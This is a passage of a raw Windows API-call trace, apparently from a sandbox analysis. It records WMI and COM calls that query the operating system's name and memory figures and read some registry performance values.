ppvObject=0x1d2dcfe0*=0x0) returned 0x80004002 [0265.646] WbemDefPath:IUnknown:Release (This=0x4f3b80) returned 0x2 [0265.646] WbemDefPath:IUnknown:Release (This=0x4f3b80) returned 0x1 [0265.647] CoGetContextToken (in: pToken=0x1d2ddd10 | out: pToken=0x1d2ddd10) returned 0x0 [0265.647] CoGetContextToken (in: pToken=0x1d2ddc10 | out: pToken=0x1d2ddc10) returned 0x0 [0265.647] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3b80, riid=0x1d2ddd70*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1d2ddd40 | out: ppvObject=0x1d2ddd40*=0x4f3b80) returned 0x0 [0265.647] WbemDefPath:IUnknown:AddRef (This=0x4f3b80) returned 0x3 [0265.647] WbemDefPath:IUnknown:Release (This=0x4f3b80) returned 0x2 [0265.647] WbemDefPath:IWbemPath:SetText (This=0x4f3b80, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x0 [0265.647] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0f8 | out: puCount=0x1d2de0f8*=0x2) returned 0x0 [0265.647] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0f0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0f0*=0xf, pszText=0x0) returned 0x0 [0265.647] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0265.647] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0c8 | out: puCount=0x1d2de0c8*=0x2) returned 0x0 [0265.647] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0c0*=0xf, pszText=0x0) returned 0x0 [0265.647] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0265.648] IWbemClassObject:Get (in: This=0x1b349b20, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1d2de080*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b0f98*=0, plFlavor=0x29b0f9c*=0 | out: pVal=0x1d2de080*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1395304", varVal2=0x0), pType=0x29b0f98*=21, plFlavor=0x29b0f9c*=0) returned 0x0 [0265.648] SysStringByteLen (bstr="1395304") returned 0xe [0265.648] SysStringByteLen (bstr="1395304") returned 0xe [0265.648] IWbemClassObject:Get (in: This=0x1b349b20, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1d2de0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b0f98*=21, plFlavor=0x29b0f9c*=0 | out: pVal=0x1d2de0d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1395304", varVal2=0x0), pType=0x29b0f98*=21, plFlavor=0x29b0f9c*=0) returned 0x0 [0265.648] SysStringByteLen (bstr="1395304") returned 0xe [0265.648] SysStringByteLen (bstr="1395304") returned 0xe [0265.649] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0c8 | out: puCount=0x1d2de0c8*=0x2) returned 0x0 [0265.649] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0c0*=0xf, pszText=0x0) returned 0x0 [0265.649] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0265.649] IWbemClassObject:Get (in: This=0x1b349b20, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1d2de080*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b1190*=0, plFlavor=0x29b1194*=0 | out: pVal=0x1d2de080*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x29b1190*=21, plFlavor=0x29b1194*=0) returned 0x0 [0265.649] SysStringByteLen (bstr="2096620") returned 0xe [0265.649] SysStringByteLen (bstr="2096620") returned 0xe [0265.649] IWbemClassObject:Get (in: This=0x1b349b20, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1d2de0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b1190*=21, plFlavor=0x29b1194*=0 | out: pVal=0x1d2de0d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x29b1190*=21, plFlavor=0x29b1194*=0) returned 0x0 [0265.649] SysStringByteLen (bstr="2096620") returned 0xe [0265.649] SysStringByteLen (bstr="2096620") returned 0xe [0265.649] CoGetContextToken (in: pToken=0x1d2dded0 | out: pToken=0x1d2dded0) returned 0x0 [0265.649] WbemLocator:IUnknown:Release (This=0x1b351048) returned 0x1 [0265.649] IUnknown:Release (This=0x1d35b7c0) returned 0x0 [0267.667] GetTickCount64 () returned 0xab9c71 [0267.671] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x0, lpcbData=0x1d2ddf80*=0x0 | out: lpType=0x1d2ddf88*=0x3, lpData=0x0, lpcbData=0x1d2ddf80*=0x0) returned 0xea [0267.672] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x28d7568, lpcbData=0x1d2ddf78*=0xfde8 | out: lpType=0x1d2ddf88*=0x3, lpData=0x28d7568*, lpcbData=0x1d2ddf78*=0x438) returned 0x0 [0267.674] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x0, lpcbData=0x1d2ddf80*=0x0 | out: lpType=0x1d2ddf88*=0x3, lpData=0x0, lpcbData=0x1d2ddf80*=0x0) returned 0xea [0267.674] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x28e8980, lpcbData=0x1d2ddf78*=0xfde8 | out: lpType=0x1d2ddf88*=0x3, lpData=0x28e8980*, lpcbData=0x1d2ddf78*=0xea8) returned 0x0 [0267.678] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de258 | out: puCount=0x1d2de258*=0x2) returned 0x0 [0267.678] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de250*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de250*=0xf, pszText=0x0) returned 0x0 [0267.678] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de250*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de250*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0267.678] CoGetObjectContext (in: riid=0x24b1de8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2de1d8 | out: ppv=0x1d2de1d8*=0x4b0108) returned 0x0 [0267.679] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1d2de1c8 | out: pAptType=0x1d2de1c8*=1) returned 0x0 [0267.679] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x24b1dc8*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1d2de1d0 | out: ppvObject=0x1d2de1d0*=0x0) returned 0x80004002 [0267.679] IUnknown:Release (This=0x4b0108) returned 0x1 [0267.680] CoGetClassObject (in: rclsid=0x1b2eb4c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2dd898 | out: ppv=0x1d2dd898*=0x1d4970a0) returned 0x0 [0267.680] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4970a0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd980 | out: ppvObject=0x1d2dd980*=0x0) returned 0x80004002 [0267.680] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d4970a0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd958 | out: ppvObject=0x1d2dd958*=0x1d497100) returned 0x0 [0267.681] WbemLocator:IUnknown:Release (This=0x1d4970a0) returned 0x0 [0267.681] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497100, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd700 | out: ppvObject=0x1d2dd700*=0x1d497100) returned 0x0 [0267.681] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497100, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd790 | out: ppvObject=0x1d2dd790*=0x0) returned 0x80004002 [0267.681] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497100, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dcf88 | out: ppvObject=0x1d2dcf88*=0x0) returned 0x80004002 [0267.681] WbemLocator:IUnknown:AddRef (This=0x1d497100) returned 0x3 [0267.681] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497100, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dce48 | out: ppvObject=0x1d2dce48*=0x0) returned 0x80004002 [0267.681] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497100, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcdd0 | out: ppvObject=0x1d2dcdd0*=0x0) returned 0x80004002 [0267.681] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497100, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcdc0 | out: ppvObject=0x1d2dcdc0*=0x0) returned 0x80004002 [0267.681] CoGetContextToken (in: pToken=0x1d2dce70 | out: pToken=0x1d2dce70) returned 0x0 [0267.681] CoGetContextToken (in: pToken=0x1d2dd2f0 | out: pToken=0x1d2dd2f0) returned 0x0 [0267.681] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497100, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd3b0 | out: ppvObject=0x1d2dd3b0*=0x0) returned 0x80004002 [0267.681] WbemLocator:IUnknown:Release (This=0x1d497100) returned 0x2 [0267.681] WbemLocator:IUnknown:Release (This=0x1d497100) returned 0x1 [0267.682] CoGetContextToken (in: pToken=0x1d2ddd30 | out: pToken=0x1d2ddd30) returned 0x0 [0267.682] CoGetContextToken (in: pToken=0x1d2ddc30 | out: pToken=0x1d2ddc30) returned 0x0 [0267.682] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497100, riid=0x1d2ddd90*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1d2ddd60 | out: ppvObject=0x1d2ddd60*=0x1d497100) returned 0x0 [0267.682] WbemLocator:IUnknown:AddRef (This=0x1d497100) returned 0x3 [0267.682] WbemLocator:IUnknown:Release (This=0x1d497100) returned 0x2 [0267.682] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de168 | out: puCount=0x1d2de168*=0x2) returned 0x0 [0267.682] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1d2de160*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de160*=0xf, pszText=0x0) returned 0x0 [0267.682] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1d2de160*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de160*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0267.682] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1d2ddeb0 | out: ppv=0x1d2ddeb0*=0x1d496fa0) returned 0x0 [0267.683] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d496fa0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1d2de028 | out: ppNamespace=0x1d2de028*=0x1d475920) returned 0x0 [0267.765] WbemLocator:IUnknown:QueryInterface (in: This=0x1d475920, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddd28 | out: ppvObject=0x1d2ddd28*=0x1b351b60) returned 0x0 [0267.765] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b351b60, pProxy=0x1d475920, pAuthnSvc=0x1d2dddf0, pAuthzSvc=0x1d2ddd70, pServerPrincName=0x1d2ddd98, pAuthnLevel=0x1d2ddd74, pImpLevel=0x1d2ddd80, pAuthInfo=0x1d2ddda8, pCapabilites=0x1d2ddd84 | out: pAuthnSvc=0x1d2dddf0*=0xa, pAuthzSvc=0x1d2ddd70*=0x0, pServerPrincName=0x1d2ddd98, pAuthnLevel=0x1d2ddd74*=0x6, pImpLevel=0x1d2ddd80*=0x2, pAuthInfo=0x1d2ddda8, pCapabilites=0x1d2ddd84*=0x1) returned 0x0 [0267.765] WbemLocator:IUnknown:Release (This=0x1b351b60) returned 0x1 [0267.765] WbemLocator:IUnknown:QueryInterface (in: This=0x1d475920, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddcc0 | out: ppvObject=0x1d2ddcc0*=0x1b351ba8) returned 0x0 [0267.766] WbemLocator:IUnknown:QueryInterface (in: This=0x1d475920, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddcd0 | out: ppvObject=0x1d2ddcd0*=0x1b351b60) returned 0x0 [0267.766] WbemLocator:IClientSecurity:SetBlanket (This=0x1b351b60, pProxy=0x1d475920, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0267.767] WbemLocator:IUnknown:Release (This=0x1b351b60) returned 0x2 [0267.767] WbemLocator:IUnknown:Release (This=0x1b351ba8) returned 0x1 [0267.767] CoTaskMemFree (pv=0x1d471830) [0267.767] WbemLocator:IUnknown:Release (This=0x1d496fa0) returned 0x0 [0267.767] WbemLocator:IUnknown:QueryInterface (in: This=0x1d475920, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd7c0 | out: ppvObject=0x1d2dd7c0*=0x1b351ba8) returned 0x0 [0267.768] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd850 | out: ppvObject=0x1d2dd850*=0x0) returned 0x80004002 [0267.769] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x0) returned 0x80004002 [0267.769] WbemLocator:IUnknown:QueryInterface (in: This=0x1d475920, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd048 | out: ppvObject=0x1d2dd048*=0x0) returned 0x80004002 [0267.770] WbemLocator:IUnknown:AddRef (This=0x1b351ba8) returned 0x3 [0267.771] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcf08 | out: ppvObject=0x1d2dcf08*=0x0) returned 0x80004002 [0267.771] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dce90 | out: ppvObject=0x1d2dce90*=0x0) returned 0x80004002 [0267.771] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dce80 | out: ppvObject=0x1d2dce80*=0x1b351a88) returned 0x0 [0267.771] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b351a88, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcea8 | out: pCid=0x1d2dcea8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0267.771] WbemLocator:IUnknown:Release (This=0x1b351a88) returned 0x3 [0267.771] CoGetContextToken (in: pToken=0x1d2dcf30 | out: pToken=0x1d2dcf30) returned 0x0 [0267.771] CoGetContextToken (in: pToken=0x1d2dd3b0 | out: pToken=0x1d2dd3b0) returned 0x0 [0267.771] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x1b351b70) returned 0x0 [0267.771] WbemLocator:IRpcOptions:Query (in: This=0x1b351b70, pPrx=0x1b351ba8, dwProperty=2, pdwValue=0x1d2dd460 | out: pdwValue=0x1d2dd460) returned 0x80004002 [0267.771] WbemLocator:IUnknown:Release (This=0x1b351b70) returned 0x3 [0267.771] WbemLocator:IUnknown:Release (This=0x1b351ba8) returned 0x2 [0267.771] CoGetContextToken (in: pToken=0x1d2dda70 | out: pToken=0x1d2dda70) returned 0x0 [0267.771] CoGetContextToken (in: pToken=0x1d2dd970 | out: pToken=0x1d2dd970) returned 0x0 [0267.771] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x1d2ddad0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1d2ddaa0 | out: ppvObject=0x1d2ddaa0*=0x1d475920) returned 0x0 [0267.771] WbemLocator:IUnknown:AddRef (This=0x1d475920) returned 0x4 [0267.772] WbemLocator:IUnknown:Release (This=0x1d475920) returned 0x3 [0267.772] WbemLocator:IUnknown:Release (This=0x1d475920) returned 0x2 [0267.772] SysStringLen (param_1=0x0) returned 0x0 [0267.772] CoGetContextToken (in: pToken=0x1d2ddba0 | out: pToken=0x1d2ddba0) returned 0x0 [0267.772] WbemLocator:IUnknown:AddRef (This=0x1b351ba8) returned 0x3 [0267.772] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351ba8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddba0 | out: ppvObject=0x1d2ddba0*=0x1b351ba8) returned 0x0 [0267.772] WbemLocator:IUnknown:Release (This=0x1b351ba8) returned 0x3 [0267.772] WbemLocator:IUnknown:Release (This=0x1b351ba8) returned 0x2 [0267.772] CoGetContextToken (in: pToken=0x1d2ddcd0 | out: pToken=0x1d2ddcd0) returned 0x0 [0267.772] WbemLocator:IUnknown:AddRef (This=0x1d475920) returned 0x3 [0267.772] IWbemServices:ExecQuery (in: This=0x1d475920, strQueryLanguage="WQL", strQuery="select * from Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x1d2de178 | out: ppEnum=0x1d2de178*=0x1d35ca20) returned 0x0 [0267.794] IUnknown:QueryInterface (in: This=0x1d35ca20, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde48 | out: ppvObject=0x1d2dde48*=0x1d35ca28) returned 0x0 [0267.795] IClientSecurity:QueryBlanket (in: This=0x1d35ca28, pProxy=0x1d35ca20, pAuthnSvc=0x1d2ddf10, pAuthzSvc=0x1d2dde90, pServerPrincName=0x1d2ddeb8, pAuthnLevel=0x1d2dde94, pImpLevel=0x1d2ddea0, pAuthInfo=0x1d2ddec8, pCapabilites=0x1d2ddea4 | out: pAuthnSvc=0x1d2ddf10*=0xa, pAuthzSvc=0x1d2dde90*=0x0, pServerPrincName=0x1d2ddeb8, pAuthnLevel=0x1d2dde94*=0x6, pImpLevel=0x1d2ddea0*=0x2, pAuthInfo=0x1d2ddec8, pCapabilites=0x1d2ddea4*=0x1) returned 0x0 [0267.795] IUnknown:Release (This=0x1d35ca28) returned 0x1 [0267.795] IUnknown:QueryInterface (in: This=0x1d35ca20, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddde0 | out: ppvObject=0x1d2ddde0*=0x1b352088) returned 0x0 [0267.795] IUnknown:QueryInterface (in: This=0x1d35ca20, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dddf0 | out: ppvObject=0x1d2dddf0*=0x1d35ca28) returned 0x0 [0267.795] IClientSecurity:SetBlanket (This=0x1d35ca28, pProxy=0x1d35ca20, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0267.797] IUnknown:Release (This=0x1d35ca28) returned 0x2 [0267.797] WbemLocator:IUnknown:Release (This=0x1b352088) returned 0x1 [0267.797] CoTaskMemFree (pv=0x1d471f20) [0267.797] IUnknown:QueryInterface (in: This=0x1d35ca20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd8b0 | out: ppvObject=0x1d2dd8b0*=0x1b352088) returned 0x0 [0267.797] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd940 | out: ppvObject=0x1d2dd940*=0x0) returned 0x80004002 [0267.797] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd560 | out: ppvObject=0x1d2dd560*=0x0) returned 0x80004002 [0267.798] IUnknown:QueryInterface (in: This=0x1d35ca20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd138 | out: ppvObject=0x1d2dd138*=0x0) returned 0x80004002 [0267.798] WbemLocator:IUnknown:AddRef (This=0x1b352088) returned 0x3 [0267.798] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcff8 | out: 